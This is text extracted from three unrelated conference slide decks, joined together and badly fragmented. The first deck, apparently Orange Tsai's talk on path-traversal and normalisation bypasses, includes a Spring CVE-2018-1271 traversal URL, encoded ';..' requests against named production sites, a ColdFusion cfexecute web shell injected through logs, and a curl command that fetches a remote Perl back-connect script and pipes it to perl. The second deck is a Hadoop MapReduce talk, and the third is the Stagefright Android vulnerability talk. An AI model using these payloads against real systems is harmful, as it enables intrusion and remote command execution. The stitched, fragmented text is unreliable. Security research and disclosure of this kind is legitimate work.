Orange Tsai Orange Tsai DEVCORE 安全研究員 2014 ~ 2017 2017 ~ Now 2008 ~ 2014 2014 ~ 2017 2017 ~ Now 2008 ~ 2014 2014 ~ 2017 2017 ~ Now 2008 ~ 2014 - WAF? • X-www-form-urlencode • Multipart/form-data • Chunked ? return read_file(resolve(root, path)) ? var UP_PATH_REGEXP = /(?:^|[\\/])\.\.(?:[\\/]|$)/ if (pathIsAbsolute.posix(path) || pathIsAbsolute.win32(path)) throw createError(400, 'Malicious Path') if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) throw createError(403) return read_file(resolve(root, path)) • JSF Mojarra CVE-2013-3827 by SynopSys • JSF Mojarra CVE-2013-3827 by SynopSys 「知識面,決定看到的攻擊面有多廣 知識鍊,決定發動的殺傷鍊有多深」 - @Ringzero 1. Spring Framework 0day - CVE-2018-1271 2. Bynder(aseets.Spotify.com) Spring CVE-2018-1271 Directory Traversal in Spring Framework • 2012 ( CVE) • CVE-2014-3625 • Directory Traversal in Spring Framework • Spring Framework 3.0.4 to 3.2.11 • Spring Framework 4.0.0 to 4.0.7 • Spring Framework 4.1.0 to 4.1.1 Spring CVE-2018-1271 1. isInvalidPath(path) 2. isInvalidPath(URLDecoder.decode(path, "UTF-8")) 3. isResourceUnderLocation(resource, location) Spring CVE-2018-1271 0day - CVE-2018-1271 F5 protected boolean isInvalidPath(String path) { if (path.contains("WEB-INF") || path.contains("META-INF")) { return true; } if (path.contains(":/")) { return true; } if (path.contains("..")) { path = cleanPath(path); if (path.contains("../")) { return true; } } return false; Spring CVE-2018-1271 public static String cleanPath(String path) { String pathToUse = replace(path, "\\", "/"); // implementation here return path; } • 1. Server Windows 2. 3. CVE-2018-1199 4. Tomcat WildFly Server Hmmmm… 1. isInvalidPath(path) 2. isInvalidPath(URLDecoder.decode(path, "UTF-8")) 3. isResourceUnderLocation(resource, location) protected boolean isInvalidPath(String path) { if (path.contains("WEB-INF") || path.contains("META-INF")) { return true; } if (path.contains(":/")) { return true; } if (path.contains("..")) { path = cleanPath(path); if (path.contains("../")) { return true; } } return false; isInvalidPath(…) public static String cleanPath(String path) { String pathToUse = replace(path, "\\", "/"); // implementation here return path; } public static String cleanPath(String path) { String pathToUse = replace(path, "\\", "/"); String[] pathArray = delimitedListToStringArray(pathToUse, "/"); List<String> pathElements = new LinkedList<>(); int tops = 0; // ... isInvalidPath(…) for (int i = pathArray.length - 1; i >= 0; i--) { String element = pathArray[i]; if (".".equals(element)) { } else if ("..".equals(element)) { tops++; } else { if (tops > 0) tops--; else pathElements.add(0, element); } } isInvalidPath(…) // Remaining top paths need to be retained. for (int i = 0; i < tops; i++) { pathElements.add(0, ".."); } return collectionToDelimitedString(pathElements, "/"); } ? isInvalidPath(…) public static String cleanPath(String path) { String pathToUse = replace(path, "\\", "/"); String[] pathArray = delimitedListToStringArray(pathToUse, "/"); List<String> pathElements = new LinkedList<>(); int tops = 0; // ... isInvalidPath(…) isInvalidPath(…) cleanPath cleanPath / / / /../ /../ /../ /foo/.. / / /foo/../../ /../ /../ /foo//../ /foo/ / /foo///../../ /foo/ /../ /foo////../../../ /foo/ /../../ protected boolean isInvalidPath(String path) { if (path.contains("WEB-INF") || path.contains("META-INF")) { return true; } if (path.contains(":/")) { return true; } if (path.contains("..")) { path = cleanPath(path); if (path.contains("../")) { return true; } } return false; isInvalidPath(…) 1. isInvalidPath(path) 2. isInvalidPath(URLDecoder.decode(path, "UTF-8")) 3. isResourceUnderLocation(resource, location) • Spring Framework 查 java.net.URL • Spring Framework java.net.URI • URL Decode ! isResourceUnderLocation() • @spring-projects/spring-amqp-samples $ cd stocks $ mvn install $ copy target\spring-rabbit*.war \tomcat8\webapps\ $ \tomcat8\bin\catalina.bat run New 0day - CVE-2018-1271 http://127.0.0.1:8080/spring-rabbit-stock/static/ %255C%255C%255C%255C%255C%255C%255C%255C%255C%255C%255C%255C ..%255C..%255C..%255C..%255C..%255C..%255C ..%255C..%255C..%255C..%255C..%255C..%255C /Windows/win.ini New 0day - CVE-2018-1271 Do not use Windows • • DRY – Don't Repeat Yourself • Spark Framework • Java 8 Kotlin • GitHub 7500 Stars • CVE-2018-9159 • commit 27018872d83fe425c89b417b09e7f7fd2d2a9c8c Author: Per Wendel <[email protected]> Date: Sun May 18 12:04:11 2014 +0200 + public static String cleanPath(String path) { + if (path == null) { Java EE • Reverse Proxy • (Host or Port) • • • Java EE • Java Reverse Proxy • Apache mod_jk • Apache mod_proxy • Nginx ProxyPass • … Java EE 多層次架構 • • Apache + Cold Fusion 2011 http://example.com/manager%252F%252Ehtpasswd%2500.cfm 403 • /manager/.htpasswd 404 • /manager/x.cfm 404 • /manager/x%2500.cfm 200 • /manager%252F%252Ehtpasswd%2500.cfm 2011 • Double Encoding • mod_jk ( ) • ? 2011 Path Parameter Java EE URL Path Parameter http://example.com/foo;name=orange,role=admin/bar/ http://example.com/foo;name=orange,role=admin/bar/ Apache /foo;name=orange,role=admin/bar/ Nginx /foo;name=orange,role=admin/bar/ IIS /foo;name=orange,role=admin/bar/ Tomcat /foo/bar/ Jetty /foo/bar/ WildFly /foo WebLogic /foo 64% 14% 9% 6% 4% 3% Tomcat Jboss/WildFly Jetty GlassFish WebLogic Other 200 • https://mcdelivery.mcdonalds.com.hk/hk/ 404 • https://mcdelivery.mcdonalds.com.hk/manager/html 404 • https://mcdelivery.mcdonalds.com.hk/hk/../manager/html 401 • https://mcdelivery.mcdonalds.com.hk/hk/..;x/manager/html 200 • https://mcdelivery.mcdonalds.com.hk/hk/ 404 • https://mcdelivery.mcdonalds.com.hk/manager/html 404 • https://mcdelivery.mcdonalds.com.hk/hk/../manager/html 401 • https://mcdelivery.mcdonalds.com.hk/hk/..;x/manager/html ? https://mcdelivery.mcdonalds.com.hk/hk/..;x/manager/html /..;x/ /..;x/ /manager/html Apache Mod_jk 💀 Apache Mod_proxy 💀 Nginx ProxyPass 💀 • 360 Belluminar WCTF 2016 • • • assets.spotify.com • Out of Scope? Bynder Bynder / /login/ /x/ /login/ /login /login/ /login/x/ /login/x/ /login/../ /login/ /login/../../ /login/ /login/%2E%2E/ /login/ /login/%2E%2E/%252E/ /login/ /login/%252E%252E/ /login/ /login/%252E%252E/%252E%252E/ /login/ Bynder • ? HTTP/1.1 200 OK Server: nginx Date: Sat, 26 May 2018 06:23:35 GMT Content-Type: text/html;charset=UTF-8 Set-Cookie: JSESSIONID=C4E5824F-9EAE-4296... ... Bynder • CFM ? • ColdFusion Markup (Language) • Engine • Adobe ColdFusion • Railo • Blue Dragon • … https://assets.spotify.com/login/..;/..; /railo-context/admin/web.cfm Bynder /railo-context/../logs/exception.log http://192.168.13.128:9999/railo-context/admin/<cfoutput> <cfexecute name='/bin/bash' arguments='#Form.shell#' timeout='10' variable='output'> </cfexecute>#output#</cfoutput>.cfm Bynder $ curl https://assets.spotify.com/railo-context/admin/foo.cfm -d 'SHELL=-c "curl orange.tw/bc.pl | perl -"' Bynder • 1. 2. Authentication Bypass 3. Railo Get Shell Thank you [email protected] @orange_8361
pdf
Hadoop: Apache’s Open Source Implementation of Google’s MapReduce Framework Hacked Existence Team Joey Calca & Ryan Anguiano http://hackedexistence.com Cloud Computing • Clouds are big piles of other people’s machines, plus virtualization • Remote • Scalable • Virtual • High Level API • Course Grain data processed in parallel Courtesy Stanzione, Sannier, and Santanam, Arizona State University How much data? • Wayback Machine has 2 PB + 20 TB/month (2006) • Google processes 20 PB a day (2008) • “all words ever spoken by human being” ~ 5 EB • NOAA has ~ 1PB climate data (2007) • CERN’s :HC will generate 15 PB a year (2008) Stats from The iSchool University of Maryland Saguaro Cluster Research Group High Performance Computing Initiative Department Fulton School Primary Application Various # of Processor Cores 4560 Processor Architechture Intel Xeon Interconnect InfiniBand Memory 10240 GB (Total) Storage 215 TB OS CentOS 5.3 Sys Admin Contact Douglas Fuller Google’s Map/Reduce •Google 2004 at The Sixth Symposium on Operating System Design and Implementation •Processing and Generating large data sets •Many real world tasks are expressible in this model •Automatically parallelized for a large cluster of commodity machines Google’s Map/Reduce •Input -> Mapper -> Intermediate <key/value> Pairs -> Reducer -> Output •Easy to utilize resources of large distributed system without any experience •Highly scalable: typically processes many terabytes of data in parallel •Upwards of 1,000 MapReduce jobs are executed on Googles clusters daily • Apache Project’s Open Source Implementation of MapReduce • JAVA Based • Hadoop has been demonstrated on clusters with 2000 nodes. The current design target is 10,000 node clusters. • http://hadoop.apache.org Mapper • Map is a special function that applies the function f to each element in the list • Map[f,(1,2,3,4,5)] -> {f[1],f[2],f[3],f[4],f[5]} 1 2 3 4 5 sq 1 2 3 4 5 sq sq sq sq 1 sq 4 9 16 25 sq sq sq sq Mapper • Input: • The Entire Data Set • Maps all the input values to a key • map() is called once for each line of input • Output • Collects <key, value> pairs • Passes to reducer as hashmap Reducer • Reduce[f,x,list] • Sets an accumulator • Initial value is x • Applies f to each element of the list plus the accumulator • Result is the final value of the accumulator • Reduce[f,x,{a,b,c}] => f[f[f[x,a],b],c] Reducer Reducer • Input • The output <KV> hashmap from the mapper • f(x) is performed on every x with a common key • Output • A <KV> list of the output of reduce() Map/Reduce Framework • Map is implicitly parallel • Order of application of function does not matter • Reduce is executed in serial on a single node • The results of map() are copied and sorted then sent to the reduce() Map/Reduce Framework Data Store Initial kv pairs Initial kv pairs Initial kv pairs Initial kv pairs map map map map k1, values… k values k1, values… k values k1, values… k values k1, values… k values k2, values… k3, values… k2, values… k3, values… k2, values… k3, values… k2, values… k3, values… Barrier: aggregate values by keys reduce k1, values… reduce k2, values… reduce k3, values… reduce final k1 values reduce final k2 values reduce final k3 values Map/Reduce Framework • Programmer does not have to handle: • Work distribution • Scheduling • Networking • Synchronization • Fault recovery (if a map or reduce node fails) • Moving data between nodes Master Node • Assigns tasks and data to each node • Hosts an http JobTracker on port 50030 • Queries each node • Kills any task that does not respond • Re-Batches killed tasks out to next available node Streaming • Ability to port mappers and reducers to any language that is executable on each node • Input is read from stdin() • def read_input(file): for line in file: yield line.rstrip() Streaming • Output is a hashmap, which is a string in the form: <Key (tab) Value> • Output is written to stdout() • print “%s\t%s” % (key, value) Streaming • The utility packages all executables into a single JAR • JAR is sent to all nodes • Distributed Cache files are symlinked to the current working directory Streaming Streaming • -mapper and -reducer can be set to a java class or any file that can be executed locally • Files and/or Archives can be distributed to each node or to distributed cache Reporting • Stdin/Stdout used for data, Stderr used for communication to Master Node • Counter must be reported after every output line to track job progress report:counter:pyNetflix1,mapper,1 • Status messages can be used to track errors in log files report:status:Movie not found • Hadoop Distributed File System (HDFS) - Google uses GoogleFileSystem (GFS) • High fault-tolerant, low cost hardware • High throughput, streaming access to data • Data is split on 64 meg blocks and replicated in storage HDFS • HBase is equivalent to Google’s BigTable • NON-RELATIONAL DATABASE • Is not built for real-time querying • Moving away from per-user actions • Towards per-action data sets • Distributed • Multi-dimensional • De-Normalized Data • HBase is not an SQL Database HBase Tables • Table Schema defines Column Families • Column Family contains multiple Columns • Each Column has Versions (Z-axis) • Everything except table name stored as byte[] *Taken from HBase Documentation Amazon's Elastic Compute Cloud (EC2) • Web service that provides resizable compute capacity in Amazon’s Cloud. • Hadoop is packaged as a public EC2 image (an AMI) so it is easy for us to get up and running with a cluster. • ec2-describe-images -a | grep hadoop-ec2-images • Extremely simple to setup an elastic hadoop cloud • http://aws.amazon.com/ec2/ Amazon's Pricing EC2 S3 (Amazon’s Simple Storage Service) 2 GB dataset of movie/user/ratings Training_set1.txt...Training_set17770.txt: • MovieIDs range from 1 to 17770 sequentially. • CustomerIDs range from 1 to 2649429, with gaps. There are 480189 users. • Ratings are on a five star scale from 1 to 5. • Dates have the format YYYY-MM-DD. 1: [Movie 1 of 17770] [CustomerID,Rating,Date] 1116, 3, 2006-04-17 2, 5, 2007-07-07 • Default input dataset creates one mapper per file • Inefficient when dealing with 17,770 files • Need to optimize # of files to the number of mappers available • Awk script used to reorganize input dataset into 104 files to be used on 100 procs • Insures that all mappers are being utilized while optimizing file I/O netflixReorg.awk: # tokenize on “:” BEGIN { FS = ":" } # if it is the first line, movieID = first token {if( FNR == 1) movieID = $1 # if it is not the first line, output movieID “,” first token if ( FNR != 1 ) print movieID "," $1} • Efficiency gained by reorganizing input dataset • Netflix1 - 43:27 • Netflix1Reorg - 9:55 • pyNetflix1 - 13:02 • awkNetflix1 - 9:04 Netflix1 Program • Produce statistical information about each movie in the dataset  • It took the entire Netflix dataset as input • Produced the first date rated, last date rated, total rating count and average rating for each movie as the output Netflix1 Mapper • Input: Netflix Prize Training Set • output: <movieID, ratingAndDateRated> • one <K,V> pair for each movieID in the input data set Netflix1 Mapper Code • Netflix1/MyMapper.java pyNetflix1 Mapper Code • pyNetflix1/pyMapper.py awkNetflix1 Mapper Code • awkNetflix1/awkMapper.awk Mapper Comparison Netflix1 Java Python Awk Map Task Best: 8 sec Avg: 12 sec Best: 27 sec Avg: 1 min 5 sec Best: 9 sec Avg: 15 sec Netflix2 Reducer • The Netflix2 program calculates statistics based on the users in the dataset • Netflix2 Mapper output • <userID, movieID : rating : dateRated> • Netflix2 Reducer output • <userID, ratingCount : avgRating : ratingDelay : movieRatingDateList > Netflix2 Reducer Code • Netflix2/MyReducer.java pyNetflix2 Reducer Code • pyNetflix2/pyReducer.py Reducer Comparison Netflix 2 Java Python Reduce Task 2 min 58 sec 8 min 45 sec Shoutouts • Dr. Adrian Sannier - University Technology Officer • Dr. Dan Stanzione Jr. - Director of High Performance Computing Initiative • Dr. Raghu Santanam - Associate Professor • Nathan Kerr and Jeff Conner Thank you Joey Calca r3dfish@ hackedexistence.com Ryan Anguiano bl4ckbird@ hackedexistence.com http://hackedexistence.com Questions?
pdf
Stagefright: Scary Code in the Heart of Android Researching Android Multimedia Framework Security Joshua "jduck" Drake August 7th 2015 DEF CON 23 Agenda Introduction System Architecture Attack Surface Attack Vectors Vulnerability Discovery / Issues Found Exploitability / Mitigations Disclosure Conclusions Introduction About the presenter and this research About Joshua J. Drake aka jduck Focused on vulnerability research and exploit development for the past 16 years Current Affiliations: Zimperium's VP of Platform Research and Exploitation Lead Author of Android Hacker's Handbook Founder of the #droidsec research group Previous Affiliations: Accuvant Labs (now Optiv), Rapid7's Metasploit, VeriSign's iDefense Labs Motivations 1. Improve the overall state of mobile security 1. Discover and eliminate critical vulnerabilities 2. Spur mobile software update improvements 2. Increase visibility of risky code in Android 3. Put the Droid Army to good use! Special thanks go to Amir Etemadieh of Optiv / Exploiteers for his help with this research. Sponsors This work was sponsored by Accuvant Labs (now Optiv) with continuing support from Zimperium. & Additional thanks to Collin Mulliner and Mathew Solnik! What is Stagefright? Android's Multimedia Framework library written primarily in C++ Handles all video and audio files Provides playback facilities - e.g. {Nu,Awesome}Player Extracts metadata for the Gallery, etc. Brief History Android launched with an engine called OpenCORE Added to AOSP during Android Eclair (2.0) dev Optionally used in Android Froyo (2.2) Both devices I have on 2.2 have it enabled Set as the default engine in Gingerbread (2.3) and later It's also used in Firefox, Firefox OS, etc. first shipped in Firefox version 17 Used on Mac OS X, Windows, and Android NOT used on Linux (uses gstreamer) Why Stagefright? 1. Exposed via multiple attack vectors some of which require no user interaction 2. Binary file format parsers are often vulnerable Especially those written in native code 3. Various public mentions of instability (crashes) /r/Android, AOSP bug tracker, googling for "mediaserver crash", etc. 4. Related publications about fuzzing the code Related Work I ( ) Fuzzing the Media Framework in Android Slides by Alexandru Blanda and his team from Intel They released their tools! See: Interesting results! tons of things reported 7 accepted as security issues 3 fixed in AOSP CVE-2014-7915, CVE-2014-7916, CVE-2014-7917 MFFA MORE ON THESE LATER ;-) Related Work II On Designing an Efficient Distributed Black-Box Fuzzing System for Mobile Devices by Wang Hao Lee, Murali Srirangam Ramanujam, and S.P.T. Krishnan of Singapore's Institute for Infocomm Research Focused on tooling more than bugs Not focused on Android only Found several bugs, but analysis seems lacking/incorrect Unclear if any issues were fixed as a result Related work Pulling a John Connor: Defeating Android by Charlie Miller at Shmoocon 2009 Discusses fuzzing a media player got crashes in mediaserver Focused on opencore, not Stagefright Focused on pre-release G1 Really old, research done in 2008 However, due to apparent lack of proactive Android security research it seems relevant still. About this research Stagefright is big and supports a wide variety of multimedia file formats. Rather than dividing my focus among multiple formats, I focused on MPEG4. This allowed me to be more thorough in eliminating issues. As such, the rest of this presentation will be somewhat specific to Stagefright's MPEG4 processing. System Architecture Processes, privileges, etc. Android Architecture Picture from in the Android Developer documentation Android Interfaces Android is very modular Things run in separate processes Lots of inter-process communications "Sandbox" relies on modified scheme based on Linux users and groups libstagefright executes inside "MEDIA SERVER" Process Architecture The mediaserver process runs in the background: media 181 1 120180 10676 [...] S /system/bin/mediaserver It's a native service that's started at boot from /init.rc: service media /system/bin/mediaserver class main [...] As such, the process automatically restarts when it crashes. Process Privileges (Nexus 5) The last part of the service definition in /init.rc shows the privileges that the service runs with: service media /system/bin/mediaserver class main user media group audio camera inet net_bt net_bt_admin net_bw_acct drmrpc mediadrm WHOA! This service is very PRIVILEGED! Android apps CANNOT request/receive permissions like audio, camera, drmrpc, and mediadrm But there's more... mediaserver Privilege Survey A Droid Army provides quick and valuable survey results!! I surveyed 51 devices. The breakdown by OEM was: Count $(BRAND) ====== ==================== 17 Nexus/Google 13 Motorola 9 Samsung 6 HTC 3 LG 1 Sony 1 Amazon 1 ASUS 1 Facebook 1 OnePlus/Cyanogen 1 SilentCircle/SGP Let's look at accessible groups, sorted by # of devices... Privilege Survey Results I CNT GROUP PURPOSE 51 3003(inet) /* can create AF_INET and AF_INET6 sockets */ 51 3002(net_bt) /* bluetooth: create sco, rfcomm or l2cap sockets */ 51 3001(net_bt_admin) /* bluetooth: create any socket */ 51 1006(camera) /* camera devices */ 51 1005(audio) /* audio devices */ [...] All devices had this level of access, with which you can: Monitor, record, and playback audio Access camera devices Connect to hosts on the Internet Access and configure bluetooth Ouch! This allows an attacker to spy on you already. Privilege Survey Results II Continuing down the line, things get interesting... CNT GROUP PURPOSE 33 3007(net_bw_acct) /* change bandwidth statistics accounting */ 33 1026(drmrpc) /* group for drm rpc */ 27 1000(system) /* system server */ 20 1003(graphics) /* graphics devices */ 19 1031(mediadrm) /* MediaDrm plugins */ 18 3004(net_raw) /* can create raw INET sockets */ 11 3009(qcom_diag) /* <jduck> baseband debugging? */ 9 1028(sdcard_r) /* external storage read access */ 8 1023(media_rw) /* internal media storage write access */ 8 1004(input) /* input devices */ 7 1015(sdcard_rw) /* external storage write access */ 4 2000(shell) /* adb and debug shell user */ 4 1001(radio) /* telephony subsystem, RIL */ and more! Architecture Recap To recap the important bits... 1. libstagefright processes media inside mediaserver 2. The service runs privileged, potentially even as "system" 3. mediaserver automatically restarts The additional attack surface exposed to a compromised mediaserver is large — even compared to ADB. Beware. Attack Surface Where is the code under attack? Locating the Attack Surface NOTE: Released tools include some helper scripts. Once you have your environment set up, finding the MPEG4 attack surface is relative straight-forward. 1. Attach debugger to mediaserver process 2. Place breakpoint on open 3. Open an MPEG4 video file 4. Sift through breakpoint hits until r0 points at your file 5. Look at the backtrace 6. Dig in and read the surrounding code What do you find? [*] open("/sdcard/Music/playing.mp4",...) called from: #0 open (pathname=<value optimized out>, flags=0) at bionic/libc/unistd/open.c: #1 0x40b345e8 in FileSource (this=0x479038, filename=0x478d08 "/sdcard/Music/pl #2 0x40b332fe in android::DataSource::CreateFromURI (uri=0x478d08 "/sdcard/Musi #3 0x40b2ef50 in android::AwesomePlayer::finishSetDataSource_l (this=0x478058) at frameworks/base/media/libstagefright/AwesomePlayer.cpp:2085 #4 0x40b2efb2 in android::AwesomePlayer::onPrepareAsyncEvent (this=<value optim #5 0x40b2c990 in android::AwesomeEvent::fire (this=<value optimized out>, queue #6 0x40b50c28 in android::TimedEventQueue::threadEntry (this=0x47806c) at frame #7 0x40b50c6c in android::TimedEventQueue::ThreadWrapper (me=0x47806c) at frame #8 0x400e8c50 in __thread_entry (func=0x40b50c59 <android::TimedEventQueue::Thr #9 0x400e87a4 in pthread_create (thread_out=<value optimized out>, attr=0xbe81e frame #3 - frameworks/base / media/libstagefright/AwesomePlayer.cpp:2085 (note: moved to frameworks/av in Android >= 4.1) AwesomePlayer.cpp:2085 2085 dataSource = DataSource::CreateFromURI(mUri.string(), &mUriHeaders) 2086 } .... 2092 sp<MediaExtractor> extractor; 2093 2094 if (isWidevineStreaming) { .... 2109 } else { 2110 extractor = MediaExtractor::Create( 2111 dataSource, sniffedMIME.empty() ? NULL : sniffedMIME.c_str( .... 2127 status_t err = setDataSource_l(extractor); Okay, so it calls setDataSource_l(sp<MediaExtractor>)... Let's look at that. AwesomePlayer::setDataSource_l 349 status_t AwesomePlayer::setDataSource_l(const sp &extractor) { ... 356 for (size_t i = 0; i < extractor->countTracks(); ++i) { ... calls MPEG4Extractor::countTracks: 305 size_t MPEG4Extractor::countTracks() { ... 307 if ((err = readMetaData()) != OK) { In turn, that calls readMetaData. Let's check that out... 365 status_t MPEG4Extractor::readMetaData() { ... 372 while ((err = parseChunk(&offset, 0)) == OK) { 373 } readMetaData calls parseChunk. Let's look at that! MPEG4Extractor::parseChunk This function is the primary attack surface for MPEG4 parsing! primary dispatch for handling MP4 atoms / FourCC values between 80 and 140 depend on Android version it's implemented using recurison 671 switch(chunk_type) { 672 case FOURCC('m', 'o', 'o', 'v'): 673 case FOURCC('t', 'r', 'a', 'k'): ... 724 while (*offset < stop_offset) { 725 status_t err = parseChunk(offset, depth + 1); More specific examples will follow in later sections. Attack Vectors What would an attack look like? Vector Enumeration Methodology Ultimate goal: Find out how to get attacker controlled media files processed by this code. Try all possible ways to send yourself a media file! Depends on knowledge of "all possible ways" A Thorough Methodology: 1. Find all calls into this function. 2. Ask yourself "Can an attacker's data reach here?" 3. Repeat until all vectors are identified. Modularity Complicates Matters Executing the thorough methodology is challenging due to: A mix of Java and native code Object-oriented (OO) code Must be mindful of member objects & instantiation Code paths traverse a variety of Service and BroadcastReceiver end points Some vectors might be closed source (e.g. Google apps) IMHO this is still the best way to learn "all possible ways". Vector I: Media in the Browser The <video> tag is new in HTML5! Let's try it... ...Yep, it works! Vector II: Browser Auto-download Also, servers can force you to download instead! Vector II: Browser Auto-download II See also: http://developer.android.com/reference/android/app/DownloadManager.html Downloads happen in the background. No prompting to the user. No option to prompt either :-/ FEATURE REQUEST! This behavior has been abused in the past... Thomas Cannon's "Data Stealing" Not just on Android! "Carpet Bombing" attack Testing shows it processes media when it's finished downloading! Enter the Media Scanner NOTE: For more details, see the bonus slides or whitepaper (in progress). After a long journey looking into browser download processing, I discovered the MediaScanner, which: Extracts metadata for the Gallery and so on. Is invoked in various ways, including: Directly, via MediaScannerConnection MEDIA_{MOUNTED,SCANNER_SCAN_FILE} Intents Classes implementing MediaScannerConnectionClient With our new understanding, we continue our methodology and track backwards to untrusted data sources. We find... Tons of Attack Vectors! We find a multitude of attack vectors that use Stagefright! In summary, any way your device touches media: Mobile Network - Mms Client Side - Browser, Downloads, Email Physically Adjacent - Nfc, Bluetooth, VCards Physical - SD Cards, USB OTG Drives, USB MTP/PTP Misc - Gallery Total attack vectors: 11+ Do you use any of these to talk to untrusted people? The Scariest Part - MMS Media is AUTOMATICALLY processed ON MMS RECEIPT. BEFORE creating a notification! Actually, while creating the notification Exploiting a vulnerability in Stagefright via MMS could allow SILENT, REMOTE, PRIVILEGED code execution. The attacker's payload simply needs to prevent the notification. Who has your phone number? Where does this work? Doesn't seem to work in com.android.mms (AOSP:packages/apps/Mms) Works in latest version of Hangouts The default MMS application in 5.0+ Google removed com.android.mms Works in latest version of Messenger Popular alternative to Hangouts Now com.google.android.apps.messaging TURN AUTO-RETRIEVE OFF! Not a silver bullet, 10+ vectors left... Triggers Virally The vulnerable code is invoked many times in Android. Basically any time a thumbnail is rendered or metadata is needed (e.g. dimensions) Rotating the screen Starting the Messaging app (conversation list) Viewing the Gallery Sharing malicious media and so on... Any Other Vectors? There could be additional vectors! Consider: Downstream (OEM/Carrier) modifications Third-party apps Untested ideas: Instant messaging? Social networks? QR Codes? Please reach out if you have ideas or discover additional vectors! Vulnerability Discovery Are there security bugs in Stagefright? Discovery Methodology This is the basic methodology I used for the first pass: 1. Write fuzzer (basic dumb fuzzer in this case) 2. Run the fuzzer 3. While fuzzer runs, read code 4. When fuzzer finds crashes, read surrounding code 5. Repeat until brain melted First Round Specifics Again, the decision was to focus on MP4 video. Seemed complicated enough... Had the most lines of code Same code handles other formats (3GP, M4A) Corpus What code your inputs exercise matters Didn't even bother with building an optimized set Started with the smallest file possible @Zenofex created meow.3gp - 25KB First Round Results The fuzzer ran on live Android devices for ~1 week. Results: ~6200 crashes Most crashes not interesting Post-analysis results: ~20 unique bugs None of these were very interesting However, code review during analysis was fruitful! Found ~5 memory corruptions nearby during code review These became CVE-2015-1538 and CVE-2015-1539 Enter American Fuzzy Lop See http://lcamtuf.coredump.cx/afl/ AFL is a coverage-guided fuzzer that gravitates towards new code paths. Useful for generating a corpus Able to find buggy code paths quickly Second round methodology: Develop harness to test Stagefright Run AFL on beefy hardware Periodically triage, analyze, and restart the fuzzer Catalog and fix bugs as they are discovered Second Round Results I ran the second round of testing for about 3 weeks. Used both default and dictionary based modes Tried with and without ASAN ~3200 tests per second Total CPU hours was over 6 months Five more critical issues discovered! Plenty more less-severe crashing bugs too.. The code fuzzed clean at the end. Bug Summary CVE-2015-1538 #1 -- MP4 'stsc' Integer Overflow CVE-2015-1538 #2 -- MP4 'ctts' Integer Overflow CVE-2015-1538 #3 -- MP4 'stts' Integer Overflow CVE-2015-1538 #4 -- MP4 'stss' Integer Overflow CVE-2015-1539 ------ MP4 'esds' Integer Underflow CVE-2015-3824 ------ MP4 'tx3g' Integer Overflow CVE-2015-3826 ------ MP4 3GPP Buffer Overread CVE-2015-3827 ------ MP4 'covr' Integer Underflow CVE-2015-3828 ------ MP4 3GPP Integer Underflow CVE-2015-3829 ------ MP4 'covr' Integer Overflow ..and a whole slew of stability fixes Details for a FAIL Full vulnerability analysis details will be published in the whitepaper (in progress) Due to time constraints, let's look at a few interrelated issues found in round 1. Fixes pushed to AOSP in Lollipop release: Date: Mon Jul 28 09:54:57 2014 -0700 SampleTable: check integer overflow during table alloc Bug: 15328708 Bug: 15342615 Bug: 15342751 Three Related Issues All three are very similar, so let's look at just one: @@ -330,6 +330,10 @@ status_t SampleTable::setTimeToSampleParams( } mTimeToSampleCount = U32_AT(&header[4]); + uint64_t allocSize = mTimeToSampleCount * 2 * sizeof(uint32_t); + if (allocSize > SIZE_MAX) { + return ERROR_OUT_OF_RANGE; + } mTimeToSample = new uint32_t[mTimeToSampleCount * 2]; size_t size = sizeof(uint32_t) * mTimeToSampleCount * 2; Okay. So if the 64-bit result is bigger than 2^32, we return ERROR_OUT_OF_RANGE. Right? Embarrassing, but Educational "Catching Integer Overflows in C", Felix von Leitner, http://www.fefe.de/intof.html SORT OF. So what REALLY happens? In C, on the other hand, if you multiply two 32-bit integers, you get a 32-bit integer again, losing the upper 32 bits of the result. ... which is a typical mistake of inexperienced C hackers. All three multiplicands are uint32_t No integer promotion so upper 32-bits are lost No integer overflow is ever detected. The original vulnerability remained. OOPS. Exploitability Can these issues be exploited? Exploitability Analysis Many of the vulnerabilities result in memory corruption in heap memory. These types of issues have been proven exploitable numerous times in the past. Android's mitigations come into play. Diversity in the Android ecosystem complicates research, but is not a barrier to exploitation. mediaserver Recap Some properties of mediaserver help and hurt us! Spawning from init (a native service) means... + Zygote ASLR weakness does not apply - Possible to retry an attack repeatedly/indefinitely - Poissble to bypass ASLR through sheer bruteforce. The process runs multiple threads + Less determinism in heap usage New Mitigation in Android 5.0 The release of Android Lollipop brought more improvements! Heap implementation changed to jemalloc Integer overflow mitigation in GCC 5.0 These two blocks of code are functionally equivalent. 236 mSampleToChunkEntries = 237 new SampleToChunkEntry[mNumSampleToChunkOffsets]; 236 mSampleToChunkEntries = 237 malloc( mNumSampleToChunkOffets * sizeof(SampleToChunkEntry) ) The Android compiler team introduced this, not Android Security. Mitigation Summary * Only affects some of the vulnerabilities. It still leads to DoS. Mitigation Applicability SELinux N/A Stack Cookies N/A FORTIFY_SOURCE N/A ASLR only Android >= 4.0 NX bypass with ROP GCC new[] mitigation N/A* ASLR is the ONLY challenge. Address Space Layout Randomization I managed to fully bypass ASLR on ICS. Partially on JB+ May also be possible on newer Android version too. Information leakage issues Address space is usually only 32-bits Heap spraying Other virtual memory tricks Bruteforce or statistical guessing Exploitability by Release Android Release Exploitable? Gingerbread YES: NO ASLR Ice Cream Sandwich YES: WEAK ASLR Jelly Bean YES, IN THEORY KitKat YES, IN THEORY Lollipop YES, IN THEORY Exploited ICS DEMO! Disclosure What about getting these issues fixed? Disclosure process review Reported via patches to Google Early April - Sent first set of patches Late April - Reported one to Mozilla Early May - Sent second set of patches Late April through Early June Reported issues to Blackphone via Bugcrowd I requested embargo from everyone. 90 days from notifying Google despite our 30 day policy. Fixes Everyone was great to work with! Android accepted the patches and applied to their internal code branches in <= 4 days. They notified their partners, but not non-partners. Mozilla fixed quickly and released in Firefox 38. Blackphone rolled out the fixes in binary form. Zimperium created the Zimperium Handset Alliance to improve this process in the future. Over 25 carriers, manufacturers, and vendors have already joined! Update Deployment This is still ongoing. If you get an update to your Android device soon, it is probably the fixes. There's a long tail to Android updates and many devices may never get fixed :-/ This research has made a huge positive impact on Android security already. NEW: 30 day patch cycles for Google and Samsung NEW: Updates possibly being created for older devices! Conclusions Wait, what are you trying to say? Conclusions Android's code base needs more attention. Audit, fuzz, test, submit to the Android VRP Mitigations are not a silver bullet Especially in situations where multiple attempts are possible Vendors using Android need to 1. Be more proactive in finding / fixing flaws 2. Be more aggressive in deploying fixes Thankfully, things appear to be improving! For more information, see Adrian's talk from this morning! Thanks for your time! Any questions? Prefer to ask offline? Contact me: Joshua J. Drake [email 